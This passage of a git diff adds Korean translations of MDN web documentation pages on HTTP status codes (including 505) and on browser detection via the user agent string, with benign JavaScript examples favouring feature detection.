+</ul>
diff --git a/files/ko/web/http/status/505/index.html b/files/ko/web/http/status/505/index.html
new file mode 100644
index 0000000000..339da3436d
--- /dev/null
+++ b/files/ko/web/http/status/505/index.html
@@ -0,0 +1,33 @@
+---
+title: 505 HTTP Version Not Supported
+slug: Web/HTTP/Status/505
+translation_of: Web/HTTP/Status/505
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><code><strong>505 HTTP Version Not Supported</strong></code> 응답 코드는 요청에 사용된 HTTP 버전이 서버가 지원하지 않음을 알립니다.</p>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox notranslate">505 HTTP Version Not Supported</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Title</th>
+  </tr>
+  <tr>
+   <td>{{RFC("7231", "505 HTTP Version Not Supported" , "6.6.6")}}</td>
+   <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPHeader("Upgrade")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/index.html b/files/ko/web/http/status/index.html
new file mode 100644
index 0000000000..11992657a3
--- /dev/null
+++ b/files/ko/web/http/status/index.html
@@ -0,0 +1,194 @@
+---
+title: HTTP 상태 코드
+slug: Web/HTTP/Status
+tags:
+  - HTTP
+  - 상태 코드
+translation_of: Web/HTTP/Status
+---
+<div class="boxed translate-rendered text-content">
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP 응답 상태 코드는 특정 HTTP 요청이 성공적으로 완료되었는지 알려줍니다. 응답은 5개의 그룹으로 나누어집니다: 정보를 제공하는 응답, 성공적인 응답, 리다이렉트, 클라이언트 에러, 그리고 서버 에러. 상태 코드는 <a href="https://tools.ietf.org/html/rfc2616#section-10">section 10 of RFC 2616</a>에 정의되어 있습니다.</p>
+
+<h2 id="정보_응답">정보 응답</h2>
+
+<dl>
+ <dt>{{HTTPStatus(100, "100 Continue")}}</dt>
+ <dd>이 임시적인 응답은 지금까지의 상태가 괜찮으며 클라이언트가 계속해서 요청을 하거나 이미 요청을 완료한 경우에는 무시해도 되는 것을 알려줍니다.</dd>
+ <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt>
+ <dd>이 코드는 클라이언트가 보낸 {{HTTPHeader("Upgrade")}} 요청 헤더에 대한 응답에 들어가며 서버에서 프로토콜을 변경할 것임을 알려줍니다.</dd>
+ <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>이 코드는 서버가 요청을 수신하였으며 이를 처리하고 있지만, 아직 제대로 된 응답을 알려줄 수 없음을 알려줍니다.<br>
+  </dd>
+ <dt>{{HTTPStatus(103, "103 Early Hints")}}</dt>
+ <dd>이 상태 코드는 주로 {{HTTPHeader("Link")}} 헤더와 함께 사용되어 서버가 응답을 준비하는 동안 사용자 에이전트가(user agent) 사전 로딩(<a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content">preloading</a>)을 시작할 수 있도록 한다.</dd>
+</dl>
+
+<h2 id="성공_응답">성공 응답</h2>
+
+<dl>
+ <dt>{{HTTPStatus(200, "200 OK")}}</dt>
+ <dd>요청이 성공적으로 되었습니다. 성공의 의미는 HTTP 메소드에 따라 달라집니다:<br>
+ GET: 리소스를 불러와서 메시지 바디에 전송되었습니다.<br>
+ HEAD: 개체 해더가 메시지 바디에 있습니다.<br>
+ PUT 또는 POST: 수행 결과에 대한 리소스가 메시지 바디에 전송되었습니다.<br>
+ TRACE: 메시지 바디는 서버에서 수신한 요청 메시지를 포함하고 있습니다.<br>
+  </dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPStatus(201, "201 Created")}}</dt>
+ <dd>요청이 성공적이었으며 그 결과로 새로운 리소스가 생성되었습니다. 이 응답은 일반적으로 POST 요청 또는 일부 PUT 요청 이후에 따라옵니다.</dd>
+ <dt>{{HTTPStatus(202, "202 Accepted")}}</dt>
+ <dd>요청을 수신하였지만 그에 응하여 행동할 수 없습니다. 이 응답은 요청 처리에 대한 결과를 이후에 HTTP로 비동기 응답을 보내는 것에 대해서 명확하게 명시하지 않습니다. 이것은 다른 프로세스에서 처리 또는 서버가 요청을 다루고 있거나 배치 프로세스를 하고 있는 경우를 위해 만들어졌습니다.</dd>
+ <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt>
+ <dd>이 응답 코드는 돌려받은 메타 정보 세트가 오리진 서버의 것과 일치하지 않지만 로컬이나 서드 파티 복사본에서 모아졌음을 의미합니다. 이러한 조건에서는 이 응답이 아니라 200 OK 응답을 반드시 우선됩니다.</dd>
+ <dt>{{HTTPStatus(204, "204 No Content")}}</dt>
+ <dd>요청에 대해서 보내줄 수 있는 콘텐츠가 없지만, 헤더는 의미있을 수 있습니다. 사용자-에이전트는 리소스가 캐시된 헤더를 새로운 것으로 업데이트 할 수 있습니다.</dd>
+ <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt>
+ <dd>이 응답 코드는 요청을 완수한 이후에 사용자 에이전트에게 이 요청을 보낸 문서 뷰를 리셋하라고 알려줍니다.</dd>
+ <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt>
+ <dd>이 응답 코드는 클라이언트에서 복수의 스트림을 분할 다운로드를 하고자 범위 헤더를 전송했기 때문에 사용됩니다.</dd>
+ <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>멀티-상태 응답은 여러 리소스가 여러 상태 코드인 상황이 적절한 경우에 해당되는 정보를 전달합니다.</dd>
+ <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>DAV에서 사용됩니다: propstat(property와 status의 합성어) 응답 속성으로 동일 컬렉션으로 바인드된 복수의 내부 멤버를 반복적으로 열거하는 것을 피하기 위해 사용됩니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt>
+ <dd>서버가 GET 요청에 대한 리소스의 의무를 다 했고, 그리고 응답이 하나 또는 그 이상의 인스턴스 조작이 현재 인스턴스에 적용이 되었음을 알려줍니다.</dd>
+</dl>
+
+<p><br>
+  </p>
+
+<h2 id="리다이렉션_메시지">리다이렉션 메시지</h2>
+
+<dl>
+ <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt>
+ <dd>요청에 대해서 하나 이상의 응답이 가능합니다. 사용자 에이전트 또는 사용자는 그중에 하나를 반드시 선택해야 합니다. 응답 중 하나를 선택하는 방법에 대한 표준화 된 방법은 존재하지 않습니다.</dd>
+ <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt>
+ <dd>이 응답 코드는 요청한 리소스의 URI가 변경되었음을 의미합니다. 새로운 URI가 응답에서 아마도 주어질 수 있습니다.</dd>
+ <dt>{{HTTPStatus(302, "302 Found")}}</dt>
+ <dd>이 응답 코드는 요청한 리소스의 URI가 일시적으로 변경되었음을 의미합니다. 새롭게 변경된 URI는 나중에 만들어질 수 있습니다. 그러므로, 클라이언트는 향후의 요청도 반드시 동일한 URI로 해야합니다.</dd>
+ <dt>{{HTTPStatus(303, "303 See Other")}}</dt>
+ <dd>클라이언트가 요청한 리소스를 다른 URI에서 GET 요청을 통해 얻어야 할 때, 서버가 클라이언트로 직접 보내는 응답입니다.</dd>
+ <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt>
+ <dd>이것은 캐시를 목적으로 사용됩니다. 이것은 클라이언트에게 응답이 수정되지 않았음을 알려주며, 그러므로 클라이언트는 계속해서 응답의 캐시된 버전을 사용할 수 있습니다.</dd>
+</dl>
+
+<dl>
+ <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt>
+ <dd>이전 버전의 HTTP 기술 사양에서 정의되었으며, 요청한 응답은 반드시 프록시를 통해서 접속해야 하는 것을 알려줍니다. 이것은 프록시의 in-band 설정에 대한 보안상의 걱정으로 인하여 사라져가고 있습니다.</dd>
+ <dt><code>306 unused</code></dt>
+ <dd>이 응답 코드는 더이상 사용되지 않으며, 현재는 추후 사용을 위해 예약되어 있습니다. 이것은 HTTP 1.1 기술사양 이전 버전에서 사용되었습니다.</dd>
+ <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt>
+ <dd>클라리언트가 요청한 리소스가 다른 URI에 있으며, 이전 요청과 동일한 메소드를 사용하여 요청해야할 때, 서버가 클라이언트에 이 응답을 직접 보냅니다. 이것은 <code>302 Found</code> HTTP 응답 코드와 동일한 의미를 가지고 있으며, 사용자 에이전트가 반드시 사용된 HTTP 메소드를 변경하지 말아야 하는 점만 다릅니다: 만약 첫 요청에 <code>POST</code>가 사용되었다면, 두번째 요청도 반드시 <code>POST</code>를 사용해야 합니다.</dd>
+ <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt>
+ <dd>이것은 리소스가 이제 HTTP 응답 헤더의 <code>Location:</code> 에 명시된 영구히 다른 URI에 위치하고 있음을 의미합니다. 이것은 <code>301 Moved Permanently</code> HTTP 응답 코드와 동일한  의미를 가지고 있으며, 사용자 에이전트가 반드시 HTTP 메소드를 변경하지 말아야 하는 점만 다릅니다: 만약 첫 요청에 <code>POST</code>가 사용되었다면, 두번째 요청도 반드시 <code>POST</code>를 사용해야 합니다.<br>
+  </dd>
+</dl>
+
+<h2 id="클라이언트_에러_응답">클라이언트 에러 응답</h2>
+
+<dl>
+ <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt>
+ <dd>이 응답은 잘못된 문법으로 인하여 서버가 요청을 이해할 수 없음을 의미합니다.</dd>
+ <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt>
+ <dd>비록 HTTP 표준에서는 "미승인(unauthorized)"를 명확히 하고 있지만, 의미상 이 응답은 "비인증(unauthenticated)"을 의미합니다. 클라이언트는 요청한 응답을 받기 위해서는 반드시 스스로를 인증해야 합니다.</dd>
+ <dt><code>402 Payment Required</code></dt>
+ <dd>이 응답 코드는 나중에 사용될 것을 대비해 예약되었습니다. 첫 목표로는 디지털 결제 시스템에 사용하기 위하여 만들어졌지만 지금 사용되고 있지는 않습니다.</dd>
+ <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt>
+ <dd>클라이언트는 콘텐츠에 접근할 권리를 가지고 있지 않습니다. 예를들어 그들은 미승인이어서 서버는 거절을 위한 적절한 응답을 보냅니다. 401과 다른 점은 서버가 클라이언트가 누구인지 알고 있습니다.</dd>
+ <dt>{{HTTPStatus(404, "404 Not Found")}}</dt>
+ <dd>서버는 요청받은 리소스를 찾을 수 없습니다. 브라우저에서는 알려지지 않은 URL을 의미합니다. 이것은 API에서 종점은 적절하지만 리소스 자체는 존재하지 않음을 의미할 수도 있습니다. 서버들은 인증받지 않은 클라이언트로부터 리소스를 숨기기 위하여 이 응답을 403 대신에 전송할 수도 있습니다. 이 응답 코드는 웹에서 반복적으로 발생하기 때문에 가장 유명할지도 모릅니다.</dd>
+ <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt>
+ <dd>요청한 메소드는 서버에서 알고 있지만, 제거되었고 사용할 수 없습니다. 예를 들어, 어떤 API에서 리소스를 삭제하는 것을 금지할 수 있습니다. 필수적인 메소드인 <code>GET</code>과 <code>HEAD</code>는 제거될 수 없으며 이 에러 코드를 리턴할 수 없습니다.</dd>
+ <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt>
+ <dd>이 응답은 서버가 <a href="https://developer.mozilla.org/ko/docs/Web/HTTP/Content_negotiation#%EC%84%9C%EB%B2%84_%EC%A3%BC%EB%8F%84_%EC%BB%A8%ED%85%90%EC%B8%A0_%ED%98%91%EC%83%81">서버 주도 콘텐츠 협상</a> 을 수행한 이후, 사용자 에이전트에서 정해준 규격에 따른 어떠한 콘텐츠도 찾지 않았을 때, 웹서버가 보냅니다.</dd>
+ <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt>
+ <dd>이것은 401과 비슷하지만 프록시에 의해 완료된 인증이 필요합니다.</dd>
+ <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt>
+ <dd>이 응답은 요청을 한지 시간이 오래된 연결에 일부 서버가 전송하며, 어떨 때에는 이전에 클라이언트로부터 어떠한 요청이 없었다고 하더라도 보내지기도 합니다. 이것은 서버가 사용되지 않는 연결을 끊고 싶어한다는 것을 의미합니다. 이 응답은 특정 몇몇 브라우저에서 빈번하게 보이는데, Chrome, Firefox 27+, 또는 IE9와 같은 웹서핑 속도를 올리기 위해 HTTP 사전 연결 메카니즘을 사용하는 브라우저들이 해당됩니다. 또한 일부 서버는 이 메시지를 보내지 않고 연결을 끊어버리기도 합니다.</dd>
+ <dt>{{HTTPStatus(409, "409 Conflict")}}</dt>
+ <dd>이 응답은 요청이 현재 서버의 상태와 충돌될 때 보냅니다.</dd>
+ <dt>{{HTTPStatus(410, "410 Gone")}}</dt>
+ <dd>이 응답은 요청한 콘텐츠가 서버에서 영구적으로 삭제되었으며, 전달해 줄 수 있는 주소 역시 존재하지 않을 때 보냅니다. 클라이언트가 그들의 캐쉬와 리소스에 대한 링크를 지우기를 기대합니다. HTTP 기술 사양은 이 상태 코드가 "일시적인, 홍보용 서비스"에 사용되기를 기대합니다. API는 알려진 리소스가 이 상태 코드와 함께 삭제되었다고 강요해서는 안된다.</dd>
+ <dt>{{HTTPStatus(411, "411 Length Required")}}</dt>
+ <dd>서버에서 필요로 하는 <code>Content-Length</code> 헤더 필드가 정의되지 않은 요청이 들어왔기 때문에 서버가 요청을 거절합니다.</dd>
+ <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt>
+ <dd>클라이언트의 헤더에 있는 전제조건은 서버의 전제조건에 적절하지 않습니다.</dd>
+ <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt>
+ <dd>요청 엔티티는 서버에서 정의한 한계보다 큽니다; 서버는 연결을 끊거나 혹은 <code>Retry-After</code> 헤더 필드로 돌려보낼 것이다.</dd>
+ <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt>
+ <dd>클라이언트가 요청한 URI는 서버에서 처리하지 않기로 한 길이보다 깁니다.</dd>
+ <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt>
+ <dd>요청한 미디어 포맷은 서버에서 지원하지 않습니다, 서버는 해당 요청을 거절할 것입니다.</dd>
+ <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt>
+ <dd><code>Range</code> 헤더 필드에 요청한 지정 범위를 만족시킬 수 없습니다; 범위가 타겟 URI 데이터의 크기를 벗어났을 가능성이 있습니다.</dd>
+ <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt>
+ <dd>이 응답 코드는 <code>Expect</code> 요청 헤더 필드로 요청한 예상이 서버에서는 적당하지 않음을 알려줍니다.</dd>
+ <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt>
+ <dd>서버는 커피를 찻 주전자에 끓이는 것을 거절합니다.</dd>
+ <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt>
+ <dd>서버로 유도된 요청은 응답을 생성할 수 없습니다. 이것은 서버에서 요청 URI와 연결된 스킴과 권한을 구성하여 응답을 생성할 수 없을 때 보내집니다.</dd>
+ <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>요청은 잘 만들어졌지만, 문법 오류로 인하여 따를 수 없습니다.</dd>
+ <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>리소스는 접근하는 것이 잠겨있습니다.</dd>
+ <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>이전 요청이 실패하였기 때문에 지금의 요청도 실패하였습니다.</dd>
+ <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt>
+ <dd>서버는 지금의 프로토콜을 사용하여 요청을 처리하는 것을 거절하였지만, 클라이언트가 다른 프로토콜로 업그레이드를 하면 처리를 할지도 모릅니다. 서버는 {{HTTPHeader("Upgrade")}} 헤더와 필요로 하는 프로토콜을 알려주기 위해 426 응답에 보냅니다.</dd>
+ <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt>
+ <dd>오리진 서버는 요청이 조건적이어야 합니다. 클라이언트가 리소스를 GET해서, 수정하고, 그리고 PUT으로 서버에 돌려놓는 동안 서드파티가 서버의 상태를 수정하여 발생하는 충돌인 '업데이트 상실'을 예방하기 위한 목적입니다.</dd>
+ <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt>
+ <dd>사용자가 지정된 시간에 너무 많은 요청을 보냈습니다("rate limiting").</dd>
+ <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt>
+ <dd>요청한 헤더 필드가 너무 크기 때문에 서버는 요청을 처리하지 않을 것입니다. 요청은 크기를 줄인 다음에 다시 전송해야 합니다.</dd>
+ <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt>
+ <dd>사용자가 요청한 것은 정부에 의해 검열된 웹 페이지와 같은 불법적인 리소스입니다.</dd>
+</dl>
+
+<h2 id="서버_에러_응답">서버 에러 응답</h2>
+
+<dl>
+ <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt>
+ <dd>서버가 처리 방법을 모르는 상황이 발생했습니다. 서버는 아직 처리 방법을 알 수 없습니다.</dd>
+ <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt>
+ <dd>요청 방법은 서버에서 지원되지 않으므로 처리할 수 없습니다. 서버가 지원해야 하는 유일한 방법은 <code>GET</code>와 <code>HEAD</code>이다. 이 코드는 반환하면 안됩니다.</dd>
+ <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt>
+ <dd>이 오류 응답은 서버가 요청을 처리하는 데 필요한 응답을 얻기 위해 게이트웨이로 작업하는 동안 잘못된 응답을 수신했음을 의미합니다.</dd>
+ <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt>
+ <dd>서버가 요청을 처리할 준비가 되지 않았습니다. 일반적인 원인은 유지보수를 위해 작동이 중단되거나 과부하가 걸렸을 때 입니다. 이 응답과 함께 문제를 설명하는 사용자 친화적인 페이지가 전송되어야 한다는 점에 유의하십시오. 이 응답은 임시 조건에 사용되어야 하며, <code>Retry-After:</code> HTTP 헤더는 가능하면 서비스를 복구하기 전 예상 시간을 포함해야 합니다. 웹마스터는 또한 이러한 일시적인 조건 응답을 캐시하지 않아야 하므로 이 응답과 함께 전송되는 캐싱 관련 헤더에 대해서도 주의해야 합니다.</dd>
+ <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt>
+ <dd>이 오류 응답은 서버가 게이트웨이 역할을 하고 있으며 적시에 응답을 받을 수 없을 때 주어집니다.</dd>
+ <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt>
+ <dd>요청에 사용된 HTTP 버전은 서버에서 지원되지 않습니다.</dd>
+ <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt>
+ <dd>서버에 내부 구성 오류가 있다. 즉, 요청을 위한 투명한 컨텐츠 협상이 순환 참조로 이어진다.</dd>
+ <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt>
+ <dd>서버에 내부 구성 오류가 있다. 즉, 선택한 가변 리소스는 투명한 콘텐츠 협상에 참여하도록 구성되므로 협상 프로세스의 적절한 종료 지점이 아닙니다.</dd>
+ <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt>
+ <dd>서버가 요청을 처리하는 동안 무한 루프를 감지했습니다.</dd>
+ <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt>
+ <dd>서버가 요청을 이행하려면 요청에 대한 추가 확장이 필요합니다.</dd>
+ <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt>
+ <dd>511 상태 코드는 클라이언트가 네트워크 액세스를 얻기 위해 인증을 받아야 할 필요가 있음을 나타냅니다.</dd>
+</dl>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("http.status")}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li><a href="https://ko.wikipedia.org/wiki/HTTP_%EC%83%81%ED%83%9C_%EC%BD%94%EB%93%9C">위키백과에서 상태코드 목록</a></li>
+ <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">상태코드의 최상위 도메인 등록 단체 공식 등록</a></li>
+</ul>
+</div>
diff --git a/files/ko/web/http/user_agent를_이용한_브라우저_감지/index.html b/files/ko/web/http/user_agent를_이용한_브라우저_감지/index.html
new file mode 100644
index 0000000000..8ffc0ff0b5
--- /dev/null
+++ b/files/ko/web/http/user_agent를_이용한_브라우저_감지/index.html
@@ -0,0 +1,296 @@
+---
+title: 사용자 에이전트를 이용한 브라우저 감지
+slug: Web/HTTP/User_agent를_이용한_브라우저_감지
+tags:
+  - Compatibility
+  - HTTP
+  - Web Development
+translation_of: Web/HTTP/Browser_detection_using_the_user_agent
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>보통 브라우저마다 다른 웹 페이지 또는 서비스를 제공하는 것은 나쁜 생각입니다. 웹은 사용자가 어떤 브라우저나 디바이스를 사용하고 있는지 개의치 않고 모두에게 접근성이 용이해야 하기 때문입니다. 따라서 특정 브라우저를 타겟으로 개발하는 것보다 가용적인 기능들 (예를 들어 Web API 등)을 이용하여 당신의 웹 사이트를 개선하는 것을 추천합니다.</p>
+
+<p>하지만 브라우저와 웹 표준은 완벽하지 않고 그 간극은 여전히 브라우저 감지 기능을 필요로 합니다. <a href="/ko/docs/Web/HTTP/Headers/User-Agent">User-Agent</a>를 사용하여 브라우저를 감지하는 것은 간단해 보이지만, 사실 그것을 잘 이용하는 것은 무척 힘든 일입니다. 이 문서는 사용자 에이전트를 이용하여 브라우저를 바르게 감지하도록 안내합니다.</p>
+
+<div class="note">
+<p>주의하세요! user agent 정보를 가로채는 것은 좋은 아이디어가 아닙니다. 대부분의 경우 호환성이 뛰어난 좋은 다른 해결방안을 찾을 수 있을 것입니다.</p>
+</div>
+
+<h2 id="브라우저_감지를_하기_전_고려할_것">브라우저 감지를 하기 전 고려할 것</h2>
+
+<p>사용자 에이전트 문자열을 이용해 브라우저를 감지하기 전에 가능하다면 이것을 사용하지 않는 것이 첫 번째입니다. 내가 <strong>왜</strong> 이 기능을 원하는지 다시 한 번 스스로 확인하길 바랍니다.</p>
+
+<dl>
+ <dt>특정 브라우저 버전의 버그를 고치려고 하나요?</dt>
+ <dd>포럼에서 찾아보십시오. 만약 이 버그를 당신이 처음 발견했다면 포럼에 질문을 하십시오. 또한 전문가나 다른 견해를 가진 이들이 이 버그를 해결하는데 도움을 줄 것입니다. 만약 버그가 좀처럼 없는 문제라면 브라우저 제공자의 버그 추적 시스템(<a href="https://bugzilla.mozilla.org/">Mozilla</a>, <a href="http://bugs.webkit.org/">WebKit</a>, <a href="https://www.chromium.org/issue-tracking">Blink</a>, <a href="https://bugs.opera.com/">Opera</a>)에 보고된 버그인지 확인하세요.</dd>
+ <dt>특정 기능의 존재를 확인하려고 하나요?</dt>
+ <dd>당신의 사이트에 몇몇 브라우저에서 아직 지원하지 않은 기능을 사용해야 하고, 해당 유저들을 이전 버전의 웹사이트로 보내고 싶어 하지만 당신은 후에 해당 브라우저에서 해당 기능이 동작할 것이라는걸 압니다. 이것이 사용자 에이전트 탐지를 사용하는 가장 나쁜 이유인데, 결국 다른 브라우저들이 그 문제를 따라잡을 것이기 때문입니다. 이러한 시나리오에서 당신은 가능한 유저 에이전트 탐지를 <strong>절대</strong> 피해야 하고, 대신 언제나 기능탐지를 하는데 최선을 다해야 합니다. 대신 <strong>언제든지</strong> 기능 탐지를 할 수 있는 대체방안이 존재합니다</dd>
+ <dt>사용하는 브라우저에 따라 다른 HTML을 제공해야 하나요?</dt>
+ <dd>이는 권해드리고 싶지 않지만, 필요에 따른 몇가지 방법이 있습니다. 이러한 상황들일 경우, 우선 브라우저에 따른 다양한 HTML을 사용해야 하는지 결정하기 위해 당신의 상황을 분석할 필요가 있습니다. 당신은 non-semantic인  {{ HTMLElement("div") }} 나 {{ HTMLElement("span") }}  요소를 추가함으로써 이를 방지할 수 있나요? user Agent 감지를 성공적으로 하는 것의 어려움은 몇몇 혼란스러운 HTML을 깨끗하게 바꾸는데 가치가 있습니다. 또한 당신의 디자인에 대해 다시한번 생각해보세요. 브라우저별로 다른 HTML을 사용할 필요성을 없애기 위해 점진적 향상(<a href="https://developer.mozilla.org/ko/docs/Glossary/Progressive_Enhancement">progressive enhancement</a>)이나 가변 레이아웃(fluid layout)을 사용할 수 있나요?</dd>
+</dl>
+
+<h2 id="사용자_에이전트를_대신할_방법">사용자 에이전트를 대신할 방법</h2>
+
+<p>user agent 감지를 피하는 몇 가지 방법이 있습니다!</p>
+
+<dl>
+ <dt>기능 탐지</dt>
+ <dd>기능 탐지는 어떤 브라우저가 당신의 페이지를 렌더링하는지를 알아내려고 할 때가 아니라, 어떤 특정한 기능을 당신이 사용가능한지를 확인할 때 사용합니다. 그렇지 않다면, 대비책을 사용하세요. 브라우저 간의 차이점을 찾는 몇 안되는 경우에서는 user agent 문자열을 사용하는 대신, 브라우저가 API를 구현하는 방법을 탐지하고 API를 사용하는 방법을 결정하는 테스트를 구현하는 것이 좋습니다. 아래는 기능탐지의 좋은 최신 예시 입니다. 최근 크롬은<a href="https://www.chromestatus.com/feature/5668726032564224"> experimental lookbehind support to regular expressions</a>을 추가했지만, 다른 브라우저들은 이를 지원하지 않습니다. 그러므로 당신은 이와 같이 해야 한다고 잘못 생각하고 있을 것입니다.</dd>
+ <dd>
+ <pre class="notranslate">// 아래 코드 조각은 한 문자열을 특별한 표기법으로 쪼갭니다.
+
+if (navigator.userAgent.indexOf("Chrome") !== -1){
+    // 네! 이 사용자가 정규표현식의 look-behind 기능을 사용하려는 것
+    //  같습니다.
+    // /(?&lt;=[A-Z])/를 사용하지 마십시오. 정규표현식의
+    //  look-behind 기능을 지원하지 않는 브라우저에서는 문법오류가
+    //  발생할 것입니다. 왜냐하면, 모든 브라우저들은 실제로 실행되지
+    //  않는 부분을 포함한 전체 스크립트를 해석하기 때문입니다.
+    var camelCaseExpression = new RegExp("(?&lt;=[A-Z])");
+    var splitUpString = function(str) {
+        return (""+str).split(camelCaseExpression);
+    };
+} else {
+    /*아래 fallback 코드는 성능이 떨어지지만 작동하긴 합니다.*/
+    var splitUpString = function(str){
+        return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g);
+    };
+}
+console.log(splitUpString("fooBare")); // ["fooB", "are"]
+console.log(splitUpString("jQWhy")); // ["jQ", "W", "hy"]</pre>
+
+ <p>위의 코드는 다음과 같은 몇 가지 잘못된 가정을 했습니다.</p>
+
+ <ul>
+  <li>하위 문자열 "Chrome"을 포함하는 모든 사용자 에이전트 문자열은 크롬이라고 가정했습니다. UA 문자열은 틀릴 가능성이 매우 높습니다.</li>
+  <li>정규표현식의 look-behind 기능이 크롬 브라우저에서는 항상 지원될 것이라고 가정했습니다. 하지만 agent가 해당 기능이 지원되기 전인 옛 버전의 크롬일 수도 있고, 당시에는 look-behind는 실험적 기능이었기 때문에, 이를 제거한 버전의 크롬일 수도 있습니다.</li>
+  <li>가장 중요한 점은, 다른 모든 브라우저들이 look-behind를 지원할 것이라고 가정했습니다. 다른 브라우저들도 look-behind 기능을 지원하는 버전이 모두 다를텐데, 이 코드는 이를 무시하고 코드를 진행합니다.</li>
+ </ul>
+
+ <p>look-behind 지원여부 자체를 테스트함으로써 이 문제들을 회피할 수 있습니다.</p>
+
+ <pre class="notranslate">var isLookBehindSupported = false;
+
+try {
+    new RegExp("(?&lt;=)");
+    isLookBehindSupported = true;
+} catch (err) {
+    // agent가 look-behind 기능을 지원하지 않는다면, 위 문법을 사용한
+    // RegExp 객체의 생성이 에러를 던질 것이고, isLookBehindSupported는
+    // 여전히 false일 것입니다.
+}
+
+var splitUpString = isLookBehindSupported ? function(str) {
+    return (""+str).split(new RegExp("(?&lt;=[A-Z])"));
+} : function(str) {
+    return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g);
+};
+</pre>
+
+ <p>위의 코드가 시범을 보였듯이, user agent를 살펴보지 않고도 어떤 기능에 대한 브라우저 지원 여부를 시험할 수 있는 방법이 <strong>항상</strong> 존재합니다. 기능 지원 여부를 확인하기 위해 user agent 문자열을 확인할 필요가 <strong>전혀</strong> 없습니다.</p>
+
+ <p>마지막으로, 위의 코드 조각은 크로스 브라우저 코딩과 관련하여 항상 염두에 두어야만 하는 중요한 이슈를 시사합니다.테스트 중인 API를 해당 기능이 지원되지 않는 브라우저에서 실수로 사용하지 마십시오. 확실하고 단순한 이야기 같지만, 때때로 그렇지 않습니다. 예를 들어, 위의 코드 조각에서, lookbehind 기능을 short-regexp 표기법(예를 들어, /reg/igm)으로 사용한다면, 지원되지 않는 브라우저에서는 파싱 에러가 발생할 것입니다. 따라서, 위의 예제에서, <em>/(?&lt;=look_behind_stuff)/</em> 대신에 <em>new RegExp("(?&lt;=look_behind_stuff)")</em>를 사용하는 것이 좋습니다. 심지어 lookbehind가 지원되는 조건분기의 코드에서도 말입니다.</p>
+ </dd>
+ <dt>점진적 향상</dt>
+ <dd>이 디자인 테크닉은 여러분의 사이트를 상향식 접근방법으로 "레이어" 형태 개발할 수 있게 해줍니다. 간단한 레이어로 시작하여, 각각이 더 많은 기능을 이용하는 연속적인 레이어를 가진 사이트로 성능을 개선할 수 있습니다.</dd>
+ <dt>부드러운 하향</dt>
